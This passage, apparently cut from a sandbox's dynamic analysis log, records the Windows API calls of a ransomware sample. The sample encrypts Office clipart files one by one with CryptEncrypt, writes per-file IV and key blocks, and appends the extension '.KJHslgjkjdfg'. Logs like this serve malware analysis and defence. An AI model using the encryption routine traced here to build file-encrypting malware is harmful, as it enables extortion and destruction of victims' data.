pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.401] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.402] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.402] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.402] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1262e, lpOverlapped=0x0) returned 1 [0244.404] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12630, dwBufLen=0x12630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12630) returned 1 [0244.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.405] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12630, lpOverlapped=0x0) returned 1 [0244.405] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.405] SetEndOfFile (hFile=0x130) returned 1 [0244.407] GetProcessHeap () returned 0x2ef0000 [0244.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.407] GetProcessHeap () returned 0x2ef0000 [0244.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.kjhslgjkjdfg")) returned 1 [0244.409] CloseHandle (hObject=0x130) returned 1 [0244.409] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0244.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.411] GetProcessHeap () returned 0x2ef0000 [0244.412] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.412] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.412] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0244.415] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.415] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.415] GetProcessHeap () returned 0x2ef0000 [0244.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.415] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.415] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.415] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.416] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.416] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.416] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.416] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x967a, lpOverlapped=0x0) returned 1 [0244.417] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9680, dwBufLen=0x9680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9680) returned 1 [0244.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.418] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9680, lpOverlapped=0x0) returned 1 [0244.418] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.418] SetEndOfFile (hFile=0x130) returned 1 [0244.420] GetProcessHeap () returned 0x2ef0000 [0244.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.420] GetProcessHeap () returned 0x2ef0000 [0244.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.kjhslgjkjdfg")) returned 1 [0244.422] CloseHandle (hObject=0x130) returned 1 [0244.422] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0244.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.423] GetProcessHeap () returned 0x2ef0000 [0244.423] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.423] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.423] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.426] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.426] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.426] GetProcessHeap () returned 0x2ef0000 [0244.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.426] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.426] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.426] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.427] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.427] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.427] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x22f4, lpOverlapped=0x0) returned 1 [0244.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2300, dwBufLen=0x2300 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2300) returned 1 [0244.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2300, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2300, lpOverlapped=0x0) returned 1 [0244.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.428] SetEndOfFile (hFile=0x130) returned 1 [0244.431] GetProcessHeap () returned 0x2ef0000 [0244.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.431] GetProcessHeap () returned 0x2ef0000 [0244.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.kjhslgjkjdfg")) returned 1 [0244.433] CloseHandle (hObject=0x130) returned 1 [0244.433] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0244.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.434] GetProcessHeap () returned 0x2ef0000 [0244.435] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.435] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0244.436] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.436] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.436] GetProcessHeap () returned 0x2ef0000 [0244.436] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.436] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.436] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.436] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.437] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.437] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.437] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x107b, lpOverlapped=0x0) returned 1 [0244.438] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1080, dwBufLen=0x1080 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1080) returned 1 [0244.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.438] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1080, lpOverlapped=0x0) returned 1 [0244.439] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.439] SetEndOfFile (hFile=0x130) returned 1 [0244.441] GetProcessHeap () returned 0x2ef0000 [0244.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.441] GetProcessHeap () returned 0x2ef0000 [0244.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.kjhslgjkjdfg")) returned 1 [0244.443] CloseHandle (hObject=0x130) returned 1 [0244.443] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0244.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.444] GetProcessHeap () returned 0x2ef0000 [0244.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.444] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.545] GetProcessHeap () returned 0x2ef0000 [0244.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.546] WriteFile (in: 